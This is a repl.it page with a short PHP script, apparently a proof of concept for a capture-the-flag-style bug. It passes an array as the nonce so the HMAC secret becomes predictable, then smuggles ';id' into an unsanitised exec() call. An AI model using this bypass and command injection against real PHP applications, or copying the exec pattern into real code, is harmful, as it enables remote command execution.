repl.it
@bbenefield89/

PHP Random

PHP CLI

No description

fork
loading
Files
  • main.php
main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$_POST['nonce'] = ['nonce'];
$_POST['host'] = ';id';
$_POST['hmac'] = '58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1';

$secret = 'SECRET';
$secret = hash_hmac('sha256', $_POST['nonce'], $secret);
$hmac = hash_hmac('sha256', $_POST['host'], $secret);


if ($hmac !== $_POST['hmac']) {
  echo "\n" . 'Wrong';
  exit;
}

echo exec('host' . $_POST['host'])

?>
?